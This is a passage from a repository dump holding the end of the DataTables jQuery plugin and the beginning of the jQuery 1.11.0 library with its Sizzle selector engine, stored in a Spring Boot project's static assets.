)\n\t\t{\n\t\t\treturn _htmlNumeric( d ) ? 'html-numeric' : null;\n\t\t},\n\t\n\t\t// HTML numeric, formatted\n\t\tfunction ( d )\n\t\t{\n\t\t\treturn _htmlNumeric( d, true ) ? 'html-numeric-fmt' : null;\n\t\t},\n\t\n\t\t// HTML (this is strict checking - there much be html)\n\t\tfunction ( d )\n\t\t{\n\t\t\treturn _empty( d ) || (typeof d === 'string' && d.indexOf('<') !== -1) ?\n\t\t\t\t'html' : null;\n\t\t}\n\t] );\n\t\n\t\n\t\n\t// Filter formatting functions. See model.ext.ofnSearch for information about\n\t// what is required from these methods.\n\t\n\t\n\t$.extend( DataTable.ext.type.search, {\n\t\thtml: function ( data ) {\n\t\t\treturn _empty(data) ?\n\t\t\t\t'' :\n\t\t\t\ttypeof data === 'string' ?\n\t\t\t\t\tdata\n\t\t\t\t\t\t.replace( _re_new_lines, \" \" )\n\t\t\t\t\t\t.replace( _re_html, \"\" ) :\n\t\t\t\t\t'';\n\t\t},\n\t\n\t\tstring: function ( data ) {\n\t\t\treturn _empty(data) ?\n\t\t\t\t'' :\n\t\t\t\ttypeof data === 'string' ?\n\t\t\t\t\tdata.replace( _re_new_lines, \" \" ) :\n\t\t\t\t\tdata;\n\t\t}\n\t} );\n\t\n\t\n\t\n\t$.extend( true, DataTable.ext.renderer, {\n\t\theader: {\n\t\t\t_: function ( settings, cell, column, idx, classes ) {\n\t\t\t\t// No additional mark-up required\n\t\n\t\t\t\t// Attach a sort listener to update on sort\n\t\t\t\t$(settings.nTable).on( 'order.dt', function ( e, settings, sorting, columns ) {\n\t\t\t\t\tcell\n\t\t\t\t\t\t.removeClass(\n\t\t\t\t\t\t\tcolumn.sSortingClass +' '+\n\t\t\t\t\t\t\tclasses.sSortAsc +' '+\n\t\t\t\t\t\t\tclasses.sSortDesc\n\t\t\t\t\t\t)\n\t\t\t\t\t\t.addClass( columns[ idx ] == 'asc' ?\n\t\t\t\t\t\t\tclasses.sSortAsc : columns[ idx ] == 'desc' ?\n\t\t\t\t\t\t\t\tclasses.sSortDesc :\n\t\t\t\t\t\t\t\tcolumn.sSortingClass\n\t\t\t\t\t\t);\n\t\t\t\t} );\n\t\t\t},\n\t\n\t\t\tjqueryui: function ( settings, cell, column, idx, classes ) {\n\t\t\t\t$('<div/>')\n\t\t\t\t\t.addClass( classes.sSortJUIWrapper )\n\t\t\t\t\t.append( cell.contents() )\n\t\t\t\t\t.append( $('<span/>')\n\t\t\t\t\t\t.addClass( classes.sSortIcon+' '+column.sSortingClassJUI )\n\t\t\t\t\t)\n\t\t\t\t\t.appendTo( cell );\n\t\n\t\t\t\t// Attach a sort listener to update on sort\n\t\t\t\t$(settings.nTable).on( 'order.dt', function ( e, settings, sorting, columns ) {\n\t\t\t\t\tcell\n\t\t\t\t\t\t.removeClass( classes.sSortAsc +\" \"+classes.sSortDesc )\n\t\t\t\t\t\t.addClass( columns[ idx ] == 'asc' ?\n\t\t\t\t\t\t\tclasses.sSortAsc : columns[ idx ] == 'desc' ?\n\t\t\t\t\t\t\t\tclasses.sSortDesc :\n\t\t\t\t\t\t\t\tcolumn.sSortingClass\n\t\t\t\t\t\t);\n\t\n\t\t\t\t\tcell\n\t\t\t\t\t\t.find( 'span' )\n\t\t\t\t\t\t.removeClass(\n\t\t\t\t\t\t\tclasses.sSortJUIAsc +\" \"+\n\t\t\t\t\t\t\tclasses.sSortJUIDesc +\" \"+\n\t\t\t\t\t\t\tclasses.sSortJUI +\" \"+\n\t\t\t\t\t\t\tclasses.sSortJUIAscAllowed +\" \"+\n\t\t\t\t\t\t\tclasses.sSortJUIDescAllowed\n\t\t\t\t\t\t)\n\t\t\t\t\t\t.addClass( columns[ idx ] == 'asc' ?\n\t\t\t\t\t\t\tclasses.sSortJUIAsc : columns[ idx ] == 'desc' ?\n\t\t\t\t\t\t\t\tclasses.sSortJUIDesc :\n\t\t\t\t\t\t\t\tcolumn.sSortingClassJUI\n\t\t\t\t\t\t);\n\t\t\t\t} );\n\t\t\t}\n\t\t}\n\t} );\n\t\n\n\t// jQuery access\n\t$.fn.dataTable = DataTable;\n\n\t// Legacy aliases\n\t$.fn.dataTableSettings = DataTable.settings;\n\t$.fn.dataTableExt = DataTable.ext;\n\n\t// With a capital `D` we return a DataTables API instance rather than a\n\t// jQuery object\n\t$.fn.DataTable = function ( opts ) {\n\t\treturn $(this).dataTable( opts ).api();\n\t};\n\n\t// All properties that are available to $.fn.dataTable should also be\n\t// available on $.fn.DataTable\n\t$.each( DataTable, function ( prop, val ) {\n\t\t$.fn.DataTable[ prop ] = val;\n\t} );\n\n\n\t// Information about events fired by DataTables - for documentation.\n\t/**\n\t * Draw event, fired whenever the table is redrawn on the page, at the same\n\t * point as fnDrawCallback. This may be useful for binding events or\n\t * performing calculations when the table is altered at all.\n\t *  @name DataTable#draw.dt\n\t *  @event\n\t *  @param {event} e jQuery event object\n\t *  @param {object} o DataTables settings object {@link DataTable.models.oSettings}\n\t */\n\n\t/**\n\t * Search event, fired when the searching applied to the table (using the\n\t * built-in global search, or column filters) is altered.\n\t *  @name DataTable#search.dt\n\t *  @event\n\t *  @param {event} e jQuery event object\n\t *  @param {object} o DataTables settings object {@link DataTable.models.oSettings}\n\t */\n\n\t/**\n\t * Page change event, fired when the paging of the table is altered.\n\t *  @name DataTable#page.dt\n\t *  @event\n\t *  @param {event} e jQuery event object\n\t *  @param {object} o DataTables settings object {@link DataTable.models.oSettings}\n\t */\n\n\t/**\n\t * Order event, fired when the ordering applied to the table is altered.\n\t *  @name DataTable#order.dt\n\t *  @event\n\t *  @param {event} e jQuery event object\n\t *  @param {object} o DataTables settings object {@link DataTable.models.oSettings}\n\t */\n\n\t/**\n\t * DataTables initialisation complete event, fired when the table is fully\n\t * drawn, including Ajax data loaded, if Ajax data is required.\n\t *  @name DataTable#init.dt\n\t *  @event\n\t *  @param {event} e jQuery event object\n\t *  @param {object} oSettings DataTables settings object\n\t *  @param {object} json The JSON object request from the server - only\n\t *    present if client-side Ajax sourced data is used</li></ol>\n\t */\n\n\t/**\n\t * State save event, fired when the table has changed state a new state save\n\t * is required. This event allows modification of the state saving object\n\t * prior to actually doing the save, including addition or other state\n\t * properties (for plug-ins) or modification of a DataTables core property.\n\t *  @name DataTable#stateSaveParams.dt\n\t *  @event\n\t *  @param {event} e jQuery event object\n\t *  @param {object} oSettings DataTables settings object\n\t *  @param {object} json The state information to be saved\n\t */\n\n\t/**\n\t * State load event, fired when the table is loading state from the stored\n\t * data, but prior to the settings object being modified by the saved state\n\t * - allowing modification of the saved state is required or loading of\n\t * state for a plug-in.\n\t *  @name DataTable#stateLoadParams.dt\n\t *  @event\n\t *  @param {event} e jQuery event object\n\t *  @param {object} oSettings DataTables settings object\n\t *  @param {object} json The saved state information\n\t */\n\n\t/**\n\t * State loaded event, fired when state has been loaded from stored data and\n\t * the settings object has been modified by the loaded data.\n\t *  @name DataTable#stateLoaded.dt\n\t *  @event\n\t *  @param {event} e jQuery event object\n\t *  @param {object} oSettings DataTables settings object\n\t *  @param {object} json The saved state information\n\t */\n\n\t/**\n\t * Processing event, fired when DataTables is doing some kind of processing\n\t * (be it, order, searcg or anything else). It can be used to indicate to\n\t * the end user that there is something happening, or that something has\n\t * finished.\n\t *  @name DataTable#processing.dt\n\t *  @event\n\t *  @param {event} e jQuery event object\n\t *  @param {object} oSettings DataTables settings object\n\t *  @param {boolean} bShow Flag for if DataTables is doing processing or not\n\t */\n\n\t/**\n\t * Ajax (XHR) event, fired whenever an Ajax request is completed from a\n\t * request to made to the server for new data. This event is called before\n\t * DataTables processed the returned data, so it can also be used to pre-\n\t * process the data returned from the server, if needed.\n\t *\n\t * Note that this trigger is called in `fnServerData`, if you override\n\t * `fnServerData` and which to use this event, you need to trigger it in you\n\t * success function.\n\t *  @name DataTable#xhr.dt\n\t *  @event\n\t *  @param {event} e jQuery event object\n\t *  @param {object} o DataTables settings object {@link DataTable.models.oSettings}\n\t *  @param {object} json JSON returned from the server\n\t *\n\t *  @example\n\t *     // Use a custom property returned from the server in another DOM element\n\t *     $('#table').dataTable().on('xhr.dt', function (e, settings, json) {\n\t *       $('#status').html( json.status );\n\t *     } );\n\t *\n\t *  @example\n\t *     // Pre-process the data returned from the server\n\t *     $('#table').dataTable().on('xhr.dt', function (e, settings, json) {\n\t *       for ( var i=0, ien=json.aaData.length ; i<ien ; i++ ) {\n\t *         json.aaData[i].sum = json.aaData[i].one + json.aaData[i].two;\n\t *       }\n\t *       // Note no return - manipulate the data directly in the JSON object.\n\t *     } );\n\t */\n\n\t/**\n\t * Destroy event, fired when the DataTable is destroyed by calling fnDestroy\n\t * or passing the bDestroy:true parameter in the initialisation object. This\n\t * can be used to remove bound events, added DOM nodes, etc.\n\t *  @name DataTable#destroy.dt\n\t *  @event\n\t *  @param {event} e jQuery event object\n\t *  @param {object} o DataTables settings object {@link DataTable.models.oSettings}\n\t */\n\n\t/**\n\t * Page length change event, fired when number of records to show on each\n\t * page (the length) is changed.\n\t *  @name DataTable#length.dt\n\t *  @event\n\t *  @param {event} e jQuery event object\n\t *  @param {object} o DataTables settings object {@link DataTable.models.oSettings}\n\t *  @param {integer} len New length\n\t */\n\n\t/**\n\t * Column sizing has changed.\n\t *  @name DataTable#column-sizing.dt\n\t *  @event\n\t *  @param {event} e jQuery event object\n\t *  @param {object} o DataTables settings object {@link DataTable.models.oSettings}\n\t */\n\n\t/**\n\t * Column visibility has changed.\n\t *  @name DataTable#column-visibility.dt\n\t *  @event\n\t *  @param {event} e jQuery event object\n\t *  @param {object} o DataTables settings object {@link DataTable.models.oSettings}\n\t *  @param {int} column Column index\n\t *  @param {bool} vis `false` if column now hidden, or `true` if visible\n\t */\n}));\n\n}(window, document, jQuery));\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/resources/static/assets/js/jquery-1.10.2.js",
    "content": "/*!\n * jQuery JavaScript Library v1.11.0\n * http://jquery.com/\n *\n * Includes Sizzle.js\n * http://sizzlejs.com/\n *\n * Copyright 2005, 2014 jQuery Foundation, Inc. and other contributors\n * Released under the MIT license\n * http://jquery.org/license\n *\n * Date: 2014-01-23T21:02Z\n */\n\n(function( global, factory ) {\n\n\tif ( typeof module === \"object\" && typeof module.exports === \"object\" ) {\n\t\t// For CommonJS and CommonJS-like environments where a proper window is present,\n\t\t// execute the factory and get jQuery\n\t\t// For environments that do not inherently posses a window with a document\n\t\t// (such as Node.js), expose a jQuery-making factory as module.exports\n\t\t// This accentuates the need for the creation of a real window\n\t\t// e.g. var jQuery = require(\"jquery\")(window);\n\t\t// See ticket #14549 for more info\n\t\tmodule.exports = global.document ?\n\t\t\tfactory( global, true ) :\n\t\t\tfunction( w ) {\n\t\t\t\tif ( !w.document ) {\n\t\t\t\t\tthrow new Error( \"jQuery requires a window with a document\" );\n\t\t\t\t}\n\t\t\t\treturn factory( w );\n\t\t\t};\n\t} else {\n\t\tfactory( global );\n\t}\n\n// Pass this if window is not defined yet\n}(typeof window !== \"undefined\" ? window : this, function( window, noGlobal ) {\n\n// Can't do this because several apps including ASP.NET trace\n// the stack via arguments.caller.callee and Firefox dies if\n// you try to trace through \"use strict\" call chains. (#13335)\n// Support: Firefox 18+\n//\n\nvar deletedIds = [];\n\nvar slice = deletedIds.slice;\n\nvar concat = deletedIds.concat;\n\nvar push = deletedIds.push;\n\nvar indexOf = deletedIds.indexOf;\n\nvar class2type = {};\n\nvar toString = class2type.toString;\n\nvar hasOwn = class2type.hasOwnProperty;\n\nvar trim = \"\".trim;\n\nvar support = {};\n\n\n\nvar\n\tversion = \"1.11.0\",\n\n\t// Define a local copy of jQuery\n\tjQuery = function( selector, context ) {\n\t\t// The jQuery object is actually just the init constructor 'enhanced'\n\t\t// Need init if jQuery is called (just allow error to be thrown if not included)\n\t\treturn new jQuery.fn.init( selector, context );\n\t},\n\n\t// Make sure we trim BOM and NBSP (here's looking at you, Safari 5.0 and IE)\n\trtrim = /^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,\n\n\t// Matches dashed string for camelizing\n\trmsPrefix = /^-ms-/,\n\trdashAlpha = /-([\\da-z])/gi,\n\n\t// Used by jQuery.camelCase as callback to replace()\n\tfcamelCase = function( all, letter ) {\n\t\treturn letter.toUpperCase();\n\t};\n\njQuery.fn = jQuery.prototype = {\n\t// The current version of jQuery being used\n\tjquery: version,\n\n\tconstructor: jQuery,\n\n\t// Start with an empty selector\n\tselector: \"\",\n\n\t// The default length of a jQuery object is 0\n\tlength: 0,\n\n\ttoArray: function() {\n\t\treturn slice.call( this );\n\t},\n\n\t// Get the Nth element in the matched element set OR\n\t// Get the whole matched element set as a clean array\n\tget: function( num ) {\n\t\treturn num != null ?\n\n\t\t\t// Return a 'clean' array\n\t\t\t( num < 0 ? this[ num + this.length ] : this[ num ] ) :\n\n\t\t\t// Return just the object\n\t\t\tslice.call( this );\n\t},\n\n\t// Take an array of elements and push it onto the stack\n\t// (returning the new matched element set)\n\tpushStack: function( elems ) {\n\n\t\t// Build a new jQuery matched element set\n\t\tvar ret = jQuery.merge( this.constructor(), elems );\n\n\t\t// Add the old object onto the stack (as a reference)\n\t\tret.prevObject = this;\n\t\tret.context = this.context;\n\n\t\t// Return the newly-formed element set\n\t\treturn ret;\n\t},\n\n\t// Execute a callback for every element in the matched set.\n\t// (You can seed the arguments with an array of args, but this is\n\t// only used internally.)\n\teach: function( callback, args ) {\n\t\treturn jQuery.each( this, callback, args );\n\t},\n\n\tmap: function( callback ) {\n\t\treturn this.pushStack( jQuery.map(this, function( elem, i ) {\n\t\t\treturn callback.call( elem, i, elem );\n\t\t}));\n\t},\n\n\tslice: function() {\n\t\treturn this.pushStack( slice.apply( this, arguments ) );\n\t},\n\n\tfirst: function() {\n\t\treturn this.eq( 0 );\n\t},\n\n\tlast: function() {\n\t\treturn this.eq( -1 );\n\t},\n\n\teq: function( i ) {\n\t\tvar len = this.length,\n\t\t\tj = +i + ( i < 0 ? len : 0 );\n\t\treturn this.pushStack( j >= 0 && j < len ? [ this[j] ] : [] );\n\t},\n\n\tend: function() {\n\t\treturn this.prevObject || this.constructor(null);\n\t},\n\n\t// For internal use only.\n\t// Behaves like an Array's method, not like a jQuery method.\n\tpush: push,\n\tsort: deletedIds.sort,\n\tsplice: deletedIds.splice\n};\n\njQuery.extend = jQuery.fn.extend = function() {\n\tvar src, copyIsArray, copy, name, options, clone,\n\t\ttarget = arguments[0] || {},\n\t\ti = 1,\n\t\tlength = arguments.length,\n\t\tdeep = false;\n\n\t// Handle a deep copy situation\n\tif ( typeof target === \"boolean\" ) {\n\t\tdeep = target;\n\n\t\t// skip the boolean and the target\n\t\ttarget = arguments[ i ] || {};\n\t\ti++;\n\t}\n\n\t// Handle case when target is a string or something (possible in deep copy)\n\tif ( typeof target !== \"object\" && !jQuery.isFunction(target) ) {\n\t\ttarget = {};\n\t}\n\n\t// extend jQuery itself if only one argument is passed\n\tif ( i === length ) {\n\t\ttarget = this;\n\t\ti--;\n\t}\n\n\tfor ( ; i < length; i++ ) {\n\t\t// Only deal with non-null/undefined values\n\t\tif ( (options = arguments[ i ]) != null ) {\n\t\t\t// Extend the base object\n\t\t\tfor ( name in options ) {\n\t\t\t\tsrc = target[ name ];\n\t\t\t\tcopy = options[ name ];\n\n\t\t\t\t// Prevent never-ending loop\n\t\t\t\tif ( target === copy ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t// Recurse if we're merging plain objects or arrays\n\t\t\t\tif ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) {\n\t\t\t\t\tif ( copyIsArray ) {\n\t\t\t\t\t\tcopyIsArray = false;\n\t\t\t\t\t\tclone = src && jQuery.isArray(src) ? src : [];\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tclone = src && jQuery.isPlainObject(src) ? src : {};\n\t\t\t\t\t}\n\n\t\t\t\t\t// Never move original objects, clone them\n\t\t\t\t\ttarget[ name ] = jQuery.extend( deep, clone, copy );\n\n\t\t\t\t// Don't bring in undefined values\n\t\t\t\t} else if ( copy !== undefined ) {\n\t\t\t\t\ttarget[ name ] = copy;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Return the modified object\n\treturn target;\n};\n\njQuery.extend({\n\t// Unique for each copy of jQuery on the page\n\texpando: \"jQuery\" + ( version + Math.random() ).replace( /\\D/g, \"\" ),\n\n\t// Assume jQuery is ready without the ready module\n\tisReady: true,\n\n\terror: function( msg ) {\n\t\tthrow new Error( msg );\n\t},\n\n\tnoop: function() {},\n\n\t// See test/unit/core.js for details concerning isFunction.\n\t// Since version 1.3, DOM methods and functions like alert\n\t// aren't supported. They return false on IE (#2968).\n\tisFunction: function( obj ) {\n\t\treturn jQuery.type(obj) === \"function\";\n\t},\n\n\tisArray: Array.isArray || function( obj ) {\n\t\treturn jQuery.type(obj) === \"array\";\n\t},\n\n\tisWindow: function( obj ) {\n\t\t/* jshint eqeqeq: false */\n\t\treturn obj != null && obj == obj.window;\n\t},\n\n\tisNumeric: function( obj ) {\n\t\t// parseFloat NaNs numeric-cast false positives (null|true|false|\"\")\n\t\t// ...but misinterprets leading-number strings, particularly hex literals (\"0x...\")\n\t\t// subtraction forces infinities to NaN\n\t\treturn obj - parseFloat( obj ) >= 0;\n\t},\n\n\tisEmptyObject: function( obj ) {\n\t\tvar name;\n\t\tfor ( name in obj ) {\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t},\n\n\tisPlainObject: function( obj ) {\n\t\tvar key;\n\n\t\t// Must be an Object.\n\t\t// Because of IE, we also have to check the presence of the constructor property.\n\t\t// Make sure that DOM nodes and window objects don't pass through, as well\n\t\tif ( !obj || jQuery.type(obj) !== \"object\" || obj.nodeType || jQuery.isWindow( obj ) ) {\n\t\t\treturn false;\n\t\t}\n\n\t\ttry {\n\t\t\t// Not own constructor property must be Object\n\t\t\tif ( obj.constructor &&\n\t\t\t\t!hasOwn.call(obj, \"constructor\") &&\n\t\t\t\t!hasOwn.call(obj.constructor.prototype, \"isPrototypeOf\") ) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t} catch ( e ) {\n\t\t\t// IE8,9 Will throw exceptions on certain host objects #9897\n\t\t\treturn false;\n\t\t}\n\n\t\t// Support: IE<9\n\t\t// Handle iteration over inherited properties before own properties.\n\t\tif ( support.ownLast ) {\n\t\t\tfor ( key in obj ) {\n\t\t\t\treturn hasOwn.call( obj, key );\n\t\t\t}\n\t\t}\n\n\t\t// Own properties are enumerated firstly, so to speed up,\n\t\t// if last one is own, then all properties are own.\n\t\tfor ( key in obj ) {}\n\n\t\treturn key === undefined || hasOwn.call( obj, key );\n\t},\n\n\ttype: function( obj ) {\n\t\tif ( obj == null ) {\n\t\t\treturn obj + \"\";\n\t\t}\n\t\treturn typeof obj === \"object\" || typeof obj === \"function\" ?\n\t\t\tclass2type[ toString.call(obj) ] || \"object\" :\n\t\t\ttypeof obj;\n\t},\n\n\t// Evaluates a script in a global context\n\t// Workarounds based on findings by Jim Driscoll\n\t// http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context\n\tglobalEval: function( data ) {\n\t\tif ( data && jQuery.trim( data ) ) {\n\t\t\t// We use execScript on Internet Explorer\n\t\t\t// We use an anonymous function so that context is window\n\t\t\t// rather than jQuery in Firefox\n\t\t\t( window.execScript || function( data ) {\n\t\t\t\twindow[ \"eval\" ].call( window, data );\n\t\t\t} )( data );\n\t\t}\n\t},\n\n\t// Convert dashed to camelCase; used by the css and data modules\n\t// Microsoft forgot to hump their vendor prefix (#9572)\n\tcamelCase: function( string ) {\n\t\treturn string.replace( rmsPrefix, \"ms-\" ).replace( rdashAlpha, fcamelCase );\n\t},\n\n\tnodeName: function( elem, name ) {\n\t\treturn elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();\n\t},\n\n\t// args is for internal usage only\n\teach: function( obj, callback, args ) {\n\t\tvar value,\n\t\t\ti = 0,\n\t\t\tlength = obj.length,\n\t\t\tisArray = isArraylike( obj );\n\n\t\tif ( args ) {\n\t\t\tif ( isArray ) {\n\t\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\t\tvalue = callback.apply( obj[ i ], args );\n\n\t\t\t\t\tif ( value === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( i in obj ) {\n\t\t\t\t\tvalue = callback.apply( obj[ i ], args );\n\n\t\t\t\t\tif ( value === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// A special, fast, case for the most common use of each\n\t\t} else {\n\t\t\tif ( isArray ) {\n\t\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\t\tvalue = callback.call( obj[ i ], i, obj[ i ] );\n\n\t\t\t\t\tif ( value === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( i in obj ) {\n\t\t\t\t\tvalue = callback.call( obj[ i ], i, obj[ i ] );\n\n\t\t\t\t\tif ( value === false ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn obj;\n\t},\n\n\t// Use native String.trim function wherever possible\n\ttrim: trim && !trim.call(\"\\uFEFF\\xA0\") ?\n\t\tfunction( text ) {\n\t\t\treturn text == null ?\n\t\t\t\t\"\" :\n\t\t\t\ttrim.call( text );\n\t\t} :\n\n\t\t// Otherwise use our own trimming functionality\n\t\tfunction( text ) {\n\t\t\treturn text == null ?\n\t\t\t\t\"\" :\n\t\t\t\t( text + \"\" ).replace( rtrim, \"\" );\n\t\t},\n\n\t// results is for internal usage only\n\tmakeArray: function( arr, results ) {\n\t\tvar ret = results || [];\n\n\t\tif ( arr != null ) {\n\t\t\tif ( isArraylike( Object(arr) ) ) {\n\t\t\t\tjQuery.merge( ret,\n\t\t\t\t\ttypeof arr === \"string\" ?\n\t\t\t\t\t[ arr ] : arr\n\t\t\t\t);\n\t\t\t} else {\n\t\t\t\tpush.call( ret, arr );\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\tinArray: function( elem, arr, i ) {\n\t\tvar len;\n\n\t\tif ( arr ) {\n\t\t\tif ( indexOf ) {\n\t\t\t\treturn indexOf.call( arr, elem, i );\n\t\t\t}\n\n\t\t\tlen = arr.length;\n\t\t\ti = i ? i < 0 ? Math.max( 0, len + i ) : i : 0;\n\n\t\t\tfor ( ; i < len; i++ ) {\n\t\t\t\t// Skip accessing in sparse arrays\n\t\t\t\tif ( i in arr && arr[ i ] === elem ) {\n\t\t\t\t\treturn i;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn -1;\n\t},\n\n\tmerge: function( first, second ) {\n\t\tvar len = +second.length,\n\t\t\tj = 0,\n\t\t\ti = first.length;\n\n\t\twhile ( j < len ) {\n\t\t\tfirst[ i++ ] = second[ j++ ];\n\t\t}\n\n\t\t// Support: IE<9\n\t\t// Workaround casting of .length to NaN on otherwise arraylike objects (e.g., NodeLists)\n\t\tif ( len !== len ) {\n\t\t\twhile ( second[j] !== undefined ) {\n\t\t\t\tfirst[ i++ ] = second[ j++ ];\n\t\t\t}\n\t\t}\n\n\t\tfirst.length = i;\n\n\t\treturn first;\n\t},\n\n\tgrep: function( elems, callback, invert ) {\n\t\tvar callbackInverse,\n\t\t\tmatches = [],\n\t\t\ti = 0,\n\t\t\tlength = elems.length,\n\t\t\tcallbackExpect = !invert;\n\n\t\t// Go through the array, only saving the items\n\t\t// that pass the validator function\n\t\tfor ( ; i < length; i++ ) {\n\t\t\tcallbackInverse = !callback( elems[ i ], i );\n\t\t\tif ( callbackInverse !== callbackExpect ) {\n\t\t\t\tmatches.push( elems[ i ] );\n\t\t\t}\n\t\t}\n\n\t\treturn matches;\n\t},\n\n\t// arg is for internal usage only\n\tmap: function( elems, callback, arg ) {\n\t\tvar value,\n\t\t\ti = 0,\n\t\t\tlength = elems.length,\n\t\t\tisArray = isArraylike( elems ),\n\t\t\tret = [];\n\n\t\t// Go through the array, translating each of the items to their new values\n\t\tif ( isArray ) {\n\t\t\tfor ( ; i < length; i++ ) {\n\t\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret.push( value );\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Go through every key on the object,\n\t\t} else {\n\t\t\tfor ( i in elems ) {\n\t\t\t\tvalue = callback( elems[ i ], i, arg );\n\n\t\t\t\tif ( value != null ) {\n\t\t\t\t\tret.push( value );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Flatten any nested arrays\n\t\treturn concat.apply( [], ret );\n\t},\n\n\t// A global GUID counter for objects\n\tguid: 1,\n\n\t// Bind a function to a context, optionally partially applying any\n\t// arguments.\n\tproxy: function( fn, context ) {\n\t\tvar args, proxy, tmp;\n\n\t\tif ( typeof context === \"string\" ) {\n\t\t\ttmp = fn[ context ];\n\t\t\tcontext = fn;\n\t\t\tfn = tmp;\n\t\t}\n\n\t\t// Quick check to determine if target is callable, in the spec\n\t\t// this throws a TypeError, but we will just return undefined.\n\t\tif ( !jQuery.isFunction( fn ) ) {\n\t\t\treturn undefined;\n\t\t}\n\n\t\t// Simulated bind\n\t\targs = slice.call( arguments, 2 );\n\t\tproxy = function() {\n\t\t\treturn fn.apply( context || this, args.concat( slice.call( arguments ) ) );\n\t\t};\n\n\t\t// Set the guid of unique handler to the same of original handler, so it can be removed\n\t\tproxy.guid = fn.guid = fn.guid || jQuery.guid++;\n\n\t\treturn proxy;\n\t},\n\n\tnow: function() {\n\t\treturn +( new Date() );\n\t},\n\n\t// jQuery.support is not used in Core but other projects attach their\n\t// properties to it so it needs to exist.\n\tsupport: support\n});\n\n// Populate the class2type map\njQuery.each(\"Boolean Number String Function Array Date RegExp Object Error\".split(\" \"), function(i, name) {\n\tclass2type[ \"[object \" + name + \"]\" ] = name.toLowerCase();\n});\n\nfunction isArraylike( obj ) {\n\tvar length = obj.length,\n\t\ttype = jQuery.type( obj );\n\n\tif ( type === \"function\" || jQuery.isWindow( obj ) ) {\n\t\treturn false;\n\t}\n\n\tif ( obj.nodeType === 1 && length ) {\n\t\treturn true;\n\t}\n\n\treturn type === \"array\" || length === 0 ||\n\t\ttypeof length === \"number\" && length > 0 && ( length - 1 ) in obj;\n}\nvar Sizzle =\n/*!\n * Sizzle CSS Selector Engine v1.10.16\n * http://sizzlejs.com/\n *\n * Copyright 2013 jQuery Foundation, Inc. and other contributors\n * Released under the MIT license\n * http://jquery.org/license\n *\n * Date: 2014-01-13\n */\n(function( window ) {\n\nvar i,\n\tsupport,\n\tExpr,\n\tgetText,\n\tisXML,\n\tcompile,\n\toutermostContext,\n\tsortInput,\n\thasDuplicate,\n\n\t// Local document vars\n\tsetDocument,\n\tdocument,\n\tdocElem,\n\tdocumentIsHTML,\n\trbuggyQSA,\n\trbuggyMatches,\n\tmatches,\n\tcontains,\n\n\t// Instance-specific data\n\texpando = \"sizzle\" + -(new Date()),\n\tpreferredDoc = window.document,\n\tdirruns = 0,\n\tdone = 0,\n\tclassCache = createCache(),\n\ttokenCache = createCache(),\n\tcompilerCache = createCache(),\n\tsortOrder = function( a, b ) {\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t}\n\t\treturn 0;\n\t},\n\n\t// General-purpose constants\n\tstrundefined = typeof undefined,\n\tMAX_NEGATIVE = 1 << 31,\n\n\t// Instance methods\n\thasOwn = ({}).hasOwnProperty,\n\tarr = [],\n\tpop = arr.pop,\n\tpush_native = arr.push,\n\tpush = arr.push,\n\tslice = arr.slice,\n\t// Use a stripped-down indexOf if we can't use a native one\n\tindexOf = arr.indexOf || function( elem ) {\n\t\tvar i = 0,\n\t\t\tlen = this.length;\n\t\tfor ( ; i < len; i++ ) {\n\t\t\tif ( this[i] === elem ) {\n\t\t\t\treturn i;\n\t\t\t}\n\t\t}\n\t\treturn -1;\n\t},\n\n\tbooleans = \"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\",\n\n\t// Regular expressions\n\n\t// Whitespace characters http://www.w3.org/TR/css3-selectors/#whitespace\n\twhitespace = \"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",\n\t// http://www.w3.org/TR/css3-syntax/#characters\n\tcharacterEncoding = \"(?:\\\\\\\\.|[\\\\w-]|[^\\\\x00-\\\\xa0])+\",\n\n\t// Loosely modeled on CSS identifier characters\n\t// An unquoted value should be a CSS identifier http://www.w3.org/TR/css3-selectors/#attribute-selectors\n\t// Proper syntax: http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier\n\tidentifier = characterEncoding.replace( \"w\", \"w#\" ),\n\n\t// Acceptable operators http://www.w3.org/TR/selectors/#attribute-selectors\n\tattributes = \"\\\\[\" + whitespace + \"*(\" + characterEncoding + \")\" + whitespace +\n\t\t\"*(?:([*^$|!~]?=)\" + whitespace + \"*(?:(['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|(\" + identifier + \")|)|)\" + whitespace + \"*\\\\]\",\n\n\t// Prefer arguments quoted,\n\t//   then not containing pseudos/brackets,\n\t//   then attribute selectors/non-parenthetical expressions,\n\t//   then anything else\n\t// These preferences are here to reduce the number of selectors\n\t//   needing tokenize in the PSEUDO preFilter\n\tpseudos = \":(\" + characterEncoding + 